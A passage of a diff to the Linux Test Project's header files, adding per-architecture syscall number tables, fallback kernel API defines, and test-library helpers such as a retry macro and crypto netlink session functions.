+#ifndef STATX_ATTR_IMMUTABLE
+# define STATX_ATTR_IMMUTABLE	0x00000010
+#endif
+
+#ifndef STATX_ATTR_APPEND
+# define STATX_ATTR_APPEND	0x00000020
+#endif
+
+#ifndef STATX_ATTR_NODUMP
+# define STATX_ATTR_NODUMP	0x00000040
+#endif
+
+#ifndef STATX_ATTR_ENCRYPTED
+# define STATX_ATTR_ENCRYPTED	0x00000800
+#endif
+
+#ifndef STATX_ATTR_AUTOMOUNT
+# define STATX_ATTR_AUTOMOUNT	0x00001000
+#endif
+
+#ifndef AT_SYMLINK_NOFOLLOW
+# define AT_SYMLINK_NOFOLLOW	0x100
+#endif
+
+#ifndef AT_REMOVEDIR
+# define AT_REMOVEDIR		0x200
+#endif
+
+#ifndef AT_SYMLINK_FOLLOW
+# define AT_SYMLINK_FOLLOW	0x400
+#endif
+
+#ifndef AT_NO_AUTOMOUNT
+# define AT_NO_AUTOMOUNT	0x800
+#endif
+
+#ifndef AT_EMPTY_PATH
+# define AT_EMPTY_PATH		0x1000
+#endif
+
+#ifndef AT_STATX_SYNC_TYPE
+# define AT_STATX_SYNC_TYPE	0x6000
+#endif
+
+#ifndef AT_STATX_SYNC_AS_STAT
+# define AT_STATX_SYNC_AS_STAT	0x0000
+#endif
+
+#ifndef AT_STATX_FORCE_SYNC
+# define AT_STATX_FORCE_SYNC	0x2000
+#endif
+
+#ifndef AT_STATX_DONT_SYNC
+# define AT_STATX_DONT_SYNC	0x4000
+#endif
+
+#endif
diff --git a/include/lapi/syncfs.h b/include/lapi/syncfs.h
new file mode 100644
index 0000000..1341c6b
--- /dev/null
+++ b/include/lapi/syncfs.h
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 Linaro Limited. All rights reserved.
+ * Author: Sumit Garg <sumit.garg@linaro.org>
+ */
+
+#ifndef SYNCFS_H
+#define SYNCFS_H
+
+#include <sys/types.h>
+#include "config.h"
+#include "lapi/syscalls.h"
+
+#if !defined(HAVE_SYNCFS)
+int syncfs(int fd)
+{
+	return tst_syscall(__NR_syncfs, fd);
+}
+#endif
+
+#endif /* SYNCFS_H */
diff --git a/include/lapi/syscalls/aarch64.in b/include/lapi/syscalls/aarch64.in
index 8b725e3..7ce1485 100644
--- a/include/lapi/syscalls/aarch64.in
+++ b/include/lapi/syscalls/aarch64.in
@@ -253,7 +253,15 @@
 syncfs 267
 setns 268
 sendmmsg 269
+process_vm_readv 270
+process_vm_writev 271
 kcmp 272
 getrandom 278
 memfd_create 279
-copy_file_range 391
+membarrier 283
+execveat 281
+mlock2 284
+copy_file_range 285
+preadv2 286
+pwritev2 287
+_sysctl 1078
diff --git a/include/lapi/syscalls/arm.in b/include/lapi/syscalls/arm.in
index 1a13661..22c76d4 100644
--- a/include/lapi/syscalls/arm.in
+++ b/include/lapi/syscalls/arm.in
@@ -120,6 +120,7 @@
 writev (__NR_SYSCALL_BASE+146)
 getsid (__NR_SYSCALL_BASE+147)
 fdatasync (__NR_SYSCALL_BASE+148)
+_sysctl (__NR_SYSCALL_BASE+149)
 mlock (__NR_SYSCALL_BASE+150)
 munlock (__NR_SYSCALL_BASE+151)
 mlockall (__NR_SYSCALL_BASE+152)
@@ -333,10 +334,18 @@
 fanotify_init (__NR_SYSCALL_BASE+367)
 fanotify_mark (__NR_SYSCALL_BASE+368)
 prlimit64 (__NR_SYSCALL_BASE+369)
+process_vm_readv (__NR_SYSCALL_BASE+376)
+process_vm_writev (__NR_SYSCALL_BASE+377)
 kcmp (__NR_SYSCALL_BASE+378)
 sched_setattr (__NR_SYSCALL_BASE+380)
 sched_getattr (__NR_SYSCALL_BASE+381)
 renameat2 (__NR_SYSCALL_BASE+382)
 getrandom (__NR_SYSCALL_BASE+384)
 memfd_create (__NR_SYSCALL_BASE+385)
+execveat (__NR_SYSCALL_BASE+387)
+membarrier (__NR_SYSCALL_BASE+389)
+mlock2 (__NR_SYSCALL_BASE+390)
 copy_file_range (__NR_SYSCALL_BASE+391)
+preadv2 (__NR_SYSCALL_BASE+392)
+pwritev2 (__NR_SYSCALL_BASE+393)
+statx (__NR_SYSCALL_BASE+397)
diff --git a/include/lapi/syscalls/hppa.in b/include/lapi/syscalls/hppa.in
index bb7a694..a0dd230 100644
--- a/include/lapi/syscalls/hppa.in
+++ b/include/lapi/syscalls/hppa.in
@@ -1,3 +1,4 @@
+_sysctl 149
 openat 275
 mkdirat (__NR_openat + 1)
 mknodat (__NR_openat + 2)
@@ -15,5 +16,12 @@
 splice 291
 tee 293
 vmsplice 294
+process_vm_readv 330
+process_vm_writev 331
 memfd_create 340
+membarrier 343
+execveat 342
+mlock2 345
 copy_file_range 346
+preadv2 347
+pwritev2 348
diff --git a/include/lapi/syscalls/i386.in b/include/lapi/syscalls/i386.in
index 9cbb139..7e485ae 100644
--- a/include/lapi/syscalls/i386.in
+++ b/include/lapi/syscalls/i386.in
@@ -125,7 +125,6 @@
 adjtimex 124
 mprotect 125
 sigprocmask 126
-create_module 127
 init_module 128
 delete_module 129
 get_kernel_syms 130
@@ -145,6 +144,7 @@
 writev 146
 getsid 147
 fdatasync 148
+_sysctl 149
 mlock 150
 munlock 151
 mlockall 152
@@ -162,7 +162,6 @@
 setresuid 164
 getresuid 165
 vm86 166
-query_module 167
 poll 168
 nfsservctl 169
 setresgid 170
@@ -333,10 +332,18 @@
 fanotify_init 338
 fanotify_mark 339
 prlimit64 340
+process_vm_readv 347
+process_vm_writev 348
 kcmp 349
 sched_setattr 351
 sched_getattr 352
 renameat2 354
 getrandom 355
 memfd_create 356
+execveat 358
+membarrier 375
+mlock2 376
 copy_file_range 377
+preadv2 378
+pwritev2 379
+statx 383
diff --git a/include/lapi/syscalls/ia64.in b/include/lapi/syscalls/ia64.in
index 1d5b21c..7c9a0ea 100644
--- a/include/lapi/syscalls/ia64.in
+++ b/include/lapi/syscalls/ia64.in
@@ -118,6 +118,7 @@
 writev 1147
 pread64 1148
 pwrite64 1149
+_sysctl 1150
 mmap 1151
 munmap 1152
 mlock 1153
@@ -292,7 +293,14 @@
 fanotify_init 1323
 fanotify_mark 1324
 prlimit64 1325
+process_vm_readv 1332
+process_vm_writev 1333
 renameat2 1338
 getrandom 1339
 memfd_create 1340
+membarrier 1344
+execveat 1342
+mlock2 1346
 copy_file_range 1347
+preadv2 1348
+pwritev2 1349
diff --git a/include/lapi/syscalls/powerpc.in b/include/lapi/syscalls/powerpc.in
index f87192e..fc1f899 100644
--- a/include/lapi/syscalls/powerpc.in
+++ b/include/lapi/syscalls/powerpc.in
@@ -125,7 +125,6 @@
 adjtimex 124
 mprotect 125
 sigprocmask 126
-create_module 127
 init_module 128
 delete_module 129
 get_kernel_syms 130
@@ -145,6 +144,7 @@
 writev 146
 getsid 147
 fdatasync 148
+_sysctl 149
 mlock 150
 munlock 151
 mlockall 152
@@ -161,7 +161,6 @@
 mremap 163
 setresuid 164
 getresuid 165
-query_module 166
 poll 167
 nfsservctl 168
 setresgid 169
@@ -340,10 +339,18 @@
 recvmmsg 343
 accept4 344
 syscalls 345
+process_vm_readv  351
+process_vm_writev 352
 kcmp 354
 sched_setattr 355
 sched_getattr 356
 renameat2 357
 getrandom 359
 memfd_create 360
+membarrier 365
+execveat 362
+mlock2 378
 copy_file_range 379
+preadv2 380
+pwritev2 381
+statx 383
diff --git a/include/lapi/syscalls/powerpc64.in b/include/lapi/syscalls/powerpc64.in
index f87192e..fc1f899 100644
--- a/include/lapi/syscalls/powerpc64.in
+++ b/include/lapi/syscalls/powerpc64.in
@@ -125,7 +125,6 @@
 adjtimex 124
 mprotect 125
 sigprocmask 126
-create_module 127
 init_module 128
 delete_module 129
 get_kernel_syms 130
@@ -145,6 +144,7 @@
 writev 146
 getsid 147
 fdatasync 148
+_sysctl 149
 mlock 150
 munlock 151
 mlockall 152
@@ -161,7 +161,6 @@
 mremap 163
 setresuid 164
 getresuid 165
-query_module 166
 poll 167
 nfsservctl 168
 setresgid 169
@@ -340,10 +339,18 @@
 recvmmsg 343
 accept4 344
 syscalls 345
+process_vm_readv  351
+process_vm_writev 352
 kcmp 354
 sched_setattr 355
 sched_getattr 356
 renameat2 357
 getrandom 359
 memfd_create 360
+membarrier 365
+execveat 362
+mlock2 378
 copy_file_range 379
+preadv2 380
+pwritev2 381
+statx 383
diff --git a/include/lapi/syscalls/s390.in b/include/lapi/syscalls/s390.in
index 2526f38..6d0c895 100644
--- a/include/lapi/syscalls/s390.in
+++ b/include/lapi/syscalls/s390.in
@@ -89,7 +89,6 @@
 adjtimex 124
 mprotect 125
 sigprocmask 126
-create_module 127
 init_module 128
 delete_module 129
 get_kernel_syms 130
@@ -107,6 +106,7 @@
 writev 146
 getsid 147
 fdatasync 148
+_sysctl 149
 mlock 150
 munlock 151
 mlockall 152
@@ -121,7 +121,6 @@
 sched_rr_get_interval 161
 nanosleep 162
 mremap 163
-query_module 167
 poll 168
 nfsservctl 169
 prctl 172
@@ -324,10 +323,17 @@
 setfsuid 215
 setfsgid 216
 newfstatat 293
+process_vm_readv 340
+process_vm_writev 341
 kcmp 343
 sched_setattr 345
 sched_getattr 346
 renameat2 347
 getrandom 349
 memfd_create 350
+membarrier 356
+execveat 354
+mlock2 374
 copy_file_range 375
+preadv2 376
+pwritev2 377
diff --git a/include/lapi/syscalls/s390x.in b/include/lapi/syscalls/s390x.in
index 2526f38..6d0c895 100644
--- a/include/lapi/syscalls/s390x.in
+++ b/include/lapi/syscalls/s390x.in
@@ -89,7 +89,6 @@
 adjtimex 124
 mprotect 125
 sigprocmask 126
-create_module 127
 init_module 128
 delete_module 129
 get_kernel_syms 130
@@ -107,6 +106,7 @@
 writev 146
 getsid 147
 fdatasync 148
+_sysctl 149
 mlock 150
 munlock 151
 mlockall 152
@@ -121,7 +121,6 @@
 sched_rr_get_interval 161
 nanosleep 162
 mremap 163
-query_module 167
 poll 168
 nfsservctl 169
 prctl 172
@@ -324,10 +323,17 @@
 setfsuid 215
 setfsgid 216
 newfstatat 293
+process_vm_readv 340
+process_vm_writev 341
 kcmp 343
 sched_setattr 345
 sched_getattr 346
 renameat2 347
 getrandom 349
 memfd_create 350
+membarrier 356
+execveat 354
+mlock2 374
 copy_file_range 375
+preadv2 376
+pwritev2 377
diff --git a/include/lapi/syscalls/sh.in b/include/lapi/syscalls/sh.in
index b41b578..a942fb5 100644
--- a/include/lapi/syscalls/sh.in
+++ b/include/lapi/syscalls/sh.in
@@ -125,7 +125,6 @@
 adjtimex 124
 mprotect 125
 sigprocmask 126
-create_module 127
 init_module 128
 delete_module 129
 get_kernel_syms 130
@@ -145,6 +144,7 @@
 writev 146
 getsid 147
 fdatasync 148
+_sysctl 149
 mlock 150
 munlock 151
 mlockall 152
@@ -162,7 +162,6 @@
 setresuid 164
 getresuid 165
 vm86 166
-query_module 167
 poll 168
 nfsservctl 169
 setresgid 170
@@ -361,6 +360,12 @@
 fanotify_init 367
 fanotify_mark 368
 prlimit64 369
+process_vm_readv 376
+process_vm_writev 377
 kcmp 378
 memfd_create 385
+execveat 387
+mlock2 390
 copy_file_range 391
+preadv2 392
+pwritev2 393
diff --git a/include/lapi/syscalls/sparc.in b/include/lapi/syscalls/sparc.in
index 729768b..20a21a9 100644
--- a/include/lapi/syscalls/sparc.in
+++ b/include/lapi/syscalls/sparc.in
@@ -186,7 +186,6 @@
 removexattr 181
 lremovexattr 182
 sigpending 183
-query_module 184
 setpgid 185
 fremovexattr 186
 tkill 187
@@ -223,7 +222,6 @@
 ioprio_get 218
 adjtimex 219
 sigprocmask 220
-create_module 221
 delete_module 222
 get_kernel_syms 223
 getpgid 224
@@ -252,6 +250,7 @@
 sched_rr_get_interval 248
 nanosleep 249
 mremap 250
+_sysctl 251
 getsid 252
 fdatasync 253
 nfsservctl 254
@@ -331,8 +330,15 @@
 fanotify_init 329
 fanotify_mark 330
 prlimit64 331
+process_vm_readv 338
+process_vm_writev 339
 kcmp 341
 renameat2 345
 getrandom 347
 memfd_create 348
+membarrier 351
+execveat 350
+mlock2 356
 copy_file_range 357
+preadv2 358
+pwritev2 359
diff --git a/include/lapi/syscalls/sparc64.in b/include/lapi/syscalls/sparc64.in
index 9eb21ee..36ab394 100644
--- a/include/lapi/syscalls/sparc64.in
+++ b/include/lapi/syscalls/sparc64.in
@@ -164,7 +164,6 @@
 removexattr 181
 lremovexattr 182
 sigpending 183
-query_module 184
 setpgid 185
 fremovexattr 186
 tkill 187
@@ -201,7 +200,6 @@
 ioprio_get 218
 adjtimex 219
 sigprocmask 220
-create_module 221
 delete_module 222
 get_kernel_syms 223
 getpgid 224
@@ -228,6 +226,7 @@
 sched_rr_get_interval 248
 nanosleep 249
 mremap 250
+_sysctl 251
 getsid 252
 fdatasync 253
 nfsservctl 254
@@ -307,8 +306,15 @@
 fanotify_init 329
 fanotify_mark 330
 prlimit64 331
+process_vm_readv 338
+process_vm_writev 339
 kcmp 341
 renameat2 345
 getrandom 347
 memfd_create 348
+membarrier 351
+execveat 350
+mlock2 356
 copy_file_range 357
+preadv2 358
+pwritev2 359
diff --git a/include/lapi/syscalls/x86_64.in b/include/lapi/syscalls/x86_64.in
index 29051d4..6aa9d12 100644
--- a/include/lapi/syscalls/x86_64.in
+++ b/include/lapi/syscalls/x86_64.in
@@ -154,6 +154,7 @@
 vhangup 153
 modify_ldt 154
 pivot_root 155
+_sysctl 156
 prctl 157
 arch_prctl 158
 adjtimex 159
@@ -171,11 +172,9 @@
 setdomainname 171
 iopl 172
 ioperm 173
-create_module 174
 init_module 175
 delete_module 176
 get_kernel_syms 177
-query_module 178
 quotactl 179
 nfsservctl 180
 getpmsg 181
@@ -300,10 +299,18 @@
 fanotify_init 300
 fanotify_mark 301
 prlimit64 302
+process_vm_readv 310
+process_vm_writev 311
 kcmp 312
 sched_setattr 314
 sched_getattr 315
 renameat2 316
 getrandom 318
 memfd_create 319
+execveat 322
+membarrier 324
+mlock2 325
 copy_file_range 326
+preadv2 327
+pwritev2 328
+statx 332
diff --git a/include/lapi/termbits.h b/include/lapi/termbits.h
new file mode 100644
index 0000000..23ad5a7
--- /dev/null
+++ b/include/lapi/termbits.h
@@ -0,0 +1,25 @@
+/*
+ * Copyright (c) 2018 Linux Test Project
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation
+ */
+
+#ifndef LAPI_TERMBITS_H__
+#define LAPI_TERMBITS_H__
+
+#ifndef EXTPROC
+# define EXTPROC     0200000
+#endif
+
+#endif
diff --git a/include/lapi/udp.h b/include/lapi/udp.h
new file mode 100644
index 0000000..b6f50f8
--- /dev/null
+++ b/include/lapi/udp.h
@@ -0,0 +1,30 @@
+/*
+ * Copyright (c) 2018 Oracle and/or its affiliates.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_UDP_H__
+#define LAPI_UDP_H__
+
+#include <netinet/udp.h>
+
+#ifndef UDPLITE_SEND_CSCOV
+# define UDPLITE_SEND_CSCOV   10 /* sender partial coverage (as sent) */
+#endif
+#ifndef UDPLITE_RECV_CSCOV
+# define UDPLITE_RECV_CSCOV   11 /* receiver partial coverage (threshold ) */
+#endif
+
+#endif	/* LAPI_UDP_H__ */
diff --git a/include/lapi/ustat.h b/include/lapi/ustat.h
new file mode 100644
index 0000000..b327499
--- /dev/null
+++ b/include/lapi/ustat.h
@@ -0,0 +1,19 @@
+//SPDX-License-Identifier: GPL-2.0-or-later
+
+#ifndef LAPI_USTAT_H
+#define LAPI_USTAT_H
+
+#include <sys/types.h>
+
+#ifdef HAVE_SYS_USTAT_H
+# include <sys/ustat.h>
+#else
+struct ustat {
+	daddr_t f_tfree;
+	ino_t f_tinode;
+	char f_fname[6];
+	char f_fpack[6];
+};
+#endif
+
+#endif /* LAPI_USTAT_H */
diff --git a/include/lapi/xfrm.h b/include/lapi/xfrm.h
new file mode 100644
index 0000000..45236b2
--- /dev/null
+++ b/include/lapi/xfrm.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2018 Linux Test Project
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation
+ */
+
+#ifndef LAPI_XFRM_H__
+#define LAPI_XFRM_H__
+
+#ifndef XFRMNLGRP_NONE
+# define XFRMNLGRP_NONE 0
+#endif
+
+#ifndef XFRM_MSG_GETPOLICY
+# define XFRM_MSG_GETPOLICY 21
+#endif
+
+#endif
diff --git a/include/mk/env_post.mk b/include/mk/env_post.mk
index 4c57fff..913bdf5 100644
--- a/include/mk/env_post.mk
+++ b/include/mk/env_post.mk
@@ -54,7 +54,8 @@
 
 MAKE_TARGETS			:= $(filter-out $(FILTER_OUT_MAKE_TARGETS),$(MAKE_TARGETS))
 
-CLEAN_TARGETS			+= $(MAKE_TARGETS) *.o *.pyc
+# with only *.dwo, .[0-9]+.dwo can not be cleaned
+CLEAN_TARGETS			+= $(MAKE_TARGETS) *.o *.pyc .cache.mk *.dwo .*.dwo
 
 # Majority of the files end up in testcases/bin...
 INSTALL_DIR			?= testcases/bin
diff --git a/include/old/test.h b/include/old/test.h
index 137ebb1..0738237 100644
--- a/include/old/test.h
+++ b/include/old/test.h
@@ -1,34 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  * Copyright (c) 2009-2013 Cyril Hrubis chrubis@suse.cz
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  */
 
 #ifndef __TEST_H__
@@ -53,7 +26,6 @@
 #include "tst_process_state.h"
 #include "old_resource.h"
 #include "tst_res_flags.h"
-#include "tst_timer.h"
 #include "tst_kvercmp.h"
 #include "tst_fs.h"
 #include "tst_pid.h"
@@ -63,6 +35,8 @@
 #include "old_device.h"
 #include "old_tmpdir.h"
 #include "tst_minmax.h"
+#include "tst_get_bad_addr.h"
+#include "tst_path_has_mnt_flags.h"
 
 /*
  * Ensure that NUMSIGS is defined.
@@ -101,7 +75,7 @@
 #ifdef UCLINUX
 # define FORK_OR_VFORK			tst_vfork
 # define MAP_PRIVATE_EXCEPT_UCLINUX	0
-/* tst_flush() + vfork() */
+/* tst_old_flush() + vfork() */
 pid_t tst_vfork(void);
 #else
 # define FORK_OR_VFORK			tst_fork
@@ -175,10 +149,10 @@
 
 void tst_require_root(void);
 void tst_exit(void) LTP_ATTRIBUTE_NORETURN;
-void tst_flush(void);
+void tst_old_flush(void);
 
 /*
- * tst_flush() + fork
+ * tst_old_flush() + fork
  * NOTE: tst_fork() will reset T_exitval to 0 for child process.
  */
 pid_t tst_fork(void);
@@ -203,9 +177,6 @@
 /* lib/tst_sig.c */
 void tst_sig(int fork_flag, void (*handler)(), void (*cleanup)());
 
-/* lib/get_high_address.c */
-char *get_high_address(void);
-
 /* lib/self_exec.c */
 void maybe_run_child(void (*child)(), const char *fmt, ...);
 int self_exec(const char *argv0, const char *fmt, ...);
@@ -217,12 +188,12 @@
  * @fs_opts: NULL or NULL terminated array of mkfs options
  * @extra_opt: extra mkfs option which is passed after the device name
  */
-#define tst_mkfs(cleanup, dev, fs_type, fs_opts, extra_opt) \
+#define tst_mkfs(cleanup, dev, fs_type, fs_opts, extra_opts) \
 	tst_mkfs_(__FILE__, __LINE__, cleanup, dev, fs_type, \
-		  fs_opts, extra_opt)
+		  fs_opts, extra_opts)
 void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
 	       const char *dev, const char *fs_type,
-	       const char *const fs_opts[], const char *extra_opt);
+	       const char *const fs_opts[], const char *const extra_opts[]);
 
 /* lib/tst_net.c
  *
@@ -238,18 +209,6 @@
 const char *tst_strsig(int sig);
 const char *tst_strerrno(int err);
 
-/* lib/tst_path_has_mnt_flags.c
- *
- * Check whether a path is on a filesystem that is mounted with
- * specified flags
- * @path: path to file, if path is NULL tst_tmpdir is used.
- * @flags: NULL or NULL terminated array of mount flags
- *
- * Return: 0..n - number of flags matched
- */
-int tst_path_has_mnt_flags(void (cleanup_fn)(void),
-		const char *path, const char *flags[]);
-
 #ifdef TST_USE_COMPAT16_SYSCALL
 #define TCID_BIT_SUFFIX "_16"
 #elif  TST_USE_NEWER64_SYSCALL
diff --git a/include/safe_net_fn.h b/include/safe_net_fn.h
index 75acf5e..89e5bf0 100644
--- a/include/safe_net_fn.h
+++ b/include/safe_net_fn.h
@@ -28,9 +28,14 @@
 char *tst_sock_addr(const struct sockaddr *sa, socklen_t salen, char *res,
 		    size_t len);
 
+int tst_getsockport(const char *file, const int lineno, int sockfd);
+
 int safe_socket(const char *file, const int lineno, void (cleanup_fn)(void),
 		int domain, int type, int protocol);
 
+int safe_getsockopt(const char *file, const int lineno, int sockfd, int level,
+		    int optname, void *optval, socklen_t *optlen);
+
 int safe_setsockopt(const char *file, const int lineno, int sockfd, int level,
 		    int optname, const void *optval, socklen_t optlen);
 
@@ -41,6 +46,12 @@
 		    int sockfd, const void *buf, size_t len, int flags,
 		    const struct sockaddr *dest_addr, socklen_t addrlen);
 
+ssize_t safe_sendmsg(const char *file, const int lineno, size_t msg_len,
+		  int sockfd, const struct msghdr *msg, int flags);
+
+ssize_t safe_recvmsg(const char *file, const int lineno, size_t msg_len,
+		  int sockfd, struct msghdr *msg, int flags);
+
 int safe_bind(const char *file, const int lineno, void (cleanup_fn)(void),
 	      int socket, const struct sockaddr *address,
 	      socklen_t address_len);
diff --git a/include/tst_checksum.h b/include/tst_checksum.h
new file mode 100644
index 0000000..f062869
--- /dev/null
+++ b/include/tst_checksum.h
@@ -0,0 +1,16 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later
+ * Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+ */
+
+#ifndef TST_CHECKSUM_H__
+#define TST_CHECKSUM_H__
+
+#include <stdint.h>
+#include <stddef.h>
+
+/*
+ * Generates CRC32c checksum.
+ */
+uint32_t tst_crc32c(uint8_t *buf, size_t buf_len);
+
+#endif
diff --git a/include/tst_common.h b/include/tst_common.h
index e4466d5..c215054 100644
--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -35,4 +35,37 @@
 #define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK(x, (typeof(x))(a) - 1)
 #define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))
 
+/**
+ * TST_RETRY_FUNC() - Repeatedly retry a function with an increasing delay.
+ * @FUNC - The function which will be retried
+ * @ERET - The value returned from @FUNC on success
+ *
+ * This macro will call @FUNC in a loop with a delay between retries. If @FUNC
+ * returns @ERET then the loop exits. The delay between retries starts at one
+ * micro second and is then doubled each iteration until it exceeds one second
+ * (the total time sleeping will be aproximately one second as well). When the
+ * delay exceeds one second tst_brk() is called.
+ */
+#define TST_RETRY_FUNC(FUNC, ERET) \
+	TST_RETRY_FN_EXP_BACKOFF(FUNC, ERET, 1)
+
+#define TST_RETRY_FN_EXP_BACKOFF(FUNC, ERET, MAX_DELAY)	\
+({	int tst_delay_ = 1;						\
+	for (;;) {							\
+		typeof(FUNC) tst_ret_ = FUNC;				\
+		if (tst_ret_ == ERET)					\
+			break;						\
+		if (tst_delay_ < MAX_DELAY * 1000000) {			\
+			usleep(tst_delay_);				\
+			tst_delay_ *= 2;				\
+		} else {						\
+			tst_brk(TBROK, #FUNC" timed out");		\
+		}							\
+	}								\
+	ERET;								\
+})
+
+#define TST_BRK_SUPPORTS_ONLY_TCONF_TBROK(condition) \
+	do { ((void)sizeof(char[1 - 2 * !!(condition)])); } while (0)
+
 #endif /* TST_COMMON_H__ */
diff --git a/include/tst_crypto.h b/include/tst_crypto.h
new file mode 100644
index 0000000..d5871ab
--- /dev/null
+++ b/include/tst_crypto.h
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/**
+ * @file tst_crypto.h
+ *
+ * Library for interacting with kernel's crypto layer using the netlink
+ * interface.
+ */
+
+#ifndef TST_CRYPTO_H
+#define TST_CRYPTO_H
+
+#include "lapi/cryptouser.h"
+
+/**
+ * A reference to a crypto session and associated state.
+ *
+ * Holds state relevant to a netlink crypto connection. The seq_num is used
+ * to tag each message sent to the netlink layer and is automatically
+ * incremented by the tst_crypto_ functions. When the netlink layer sends a
+ * response (ack) it will use the sequences number from the request.
+ *
+ * Some functions, such as delete ALG, may return EBUSY in which case it is
+ * safe to retry them. The retries field allows you to set the number of
+ * times this should be done. If set to zero the operation will only be tried
+ * once. For operations which do not return EBUSY, the field is ignored.
+ *
+ * Use TST_CRYPTO_SESSION_INIT to statically initialize this struct with sane
+ * defaults.
+ */
+struct tst_crypto_session {
+	/** File descriptor for the netlink socket */
+	int fd;
+	/** A sequence number used to identify responses from the kernel. */
+	uint32_t seq_num;
+	/** Number of times some operations will be retried. */
+	uint32_t retries;
+};
+
+/**
+ * Default static definition of tst_crypto_session.
+ *
+ * @relates tst_crypto_session
+ */
+#define TST_CRYPTO_SESSION_INIT {\
+	.fd = 0,                 \
+	.seq_num = 0,            \
+	.retries = 1000          \
+}
+
+/**
+ * Creates a crypto session.
+ *
+ * @relates tst_crypto_session
+ * @param ses Session structure to use, it can be uninitialized.
+ *
+ * If some necessary feature is missing then it will call tst_brk() with
+ * TCONF, for any other error it will use TBROK.
+ */
+void tst_crypto_open(struct tst_crypto_session *ses);
+
+/**
+ * Close a crypto session.
+ *
+ * @relates tst_crypto_session
+ * @param ses The session to close.
+ */
+void tst_crypto_close(struct tst_crypto_session *ses);
+
+/**
+ * Add a crypto algorithm to a session.
+ *
+ * @relates tst_crypto_session
+ * @param ses An open session.
+ * @param alg The crypto algorithm or module to add.
+ *
+ * This requests a new crypto algorithm/engine/module to be initialized by the
+ * kernel. It sends the request contained in alg and then waits for a
+ * response. If sending the message or receiving the ack fails at the netlink
+ * level then tst_brk() with TBROK will be called.
+ *
+ * @return On success it will return 0 otherwise it will return an inverted
+ *         error code from the crypto layer.
+ */
+int tst_crypto_add_alg(struct tst_crypto_session *ses,
+		       const struct crypto_user_alg *alg);
+
+/**
+ * Delete a crypto algorithm from a session.
+ *
+ * @relates tst_crypto_session
+ * @param ses An open session.
+ * @param alg The crypto algorithm to delete.
+ *
+ * Request that the kernel remove an existing crypto algorithm. This behaves
+ * in a similar way to tst_crypto_add_alg() except that it is the inverse
+ * operation and that it is not unusual for the crypto layer to return
+ * EBUSY. If EBUSY is returned then the function will internally retry the
+ * operation tst_crypto_session::retries times before giving up and returning
+ * EBUSY.
+ *
+ * Return: Either 0 or an inverted error code from the crypto layer. If called
+ *         during cleanup it may return a positive ENODATA value from the LTP
+ *         library, you don't need to log this error as it will already have
+ *         been printed by tst_brk().
+ */
+int tst_crypto_del_alg(struct tst_crypto_session *ses,
+		       const struct crypto_user_alg *alg);
+
+#endif	/* TST_CRYPTO_H */
diff --git a/include/tst_device.h b/include/tst_device.h
index 7ac2883..61902b7 100644
--- a/include/tst_device.h
+++ b/include/tst_device.h
@@ -44,4 +44,11 @@
  */
 int tst_clear_device(const char *dev);
 
+/*
+ * Reads test block device stat file and returns the bytes written since the
+ * last call of this function.
+ * @dev: test block device
+ */
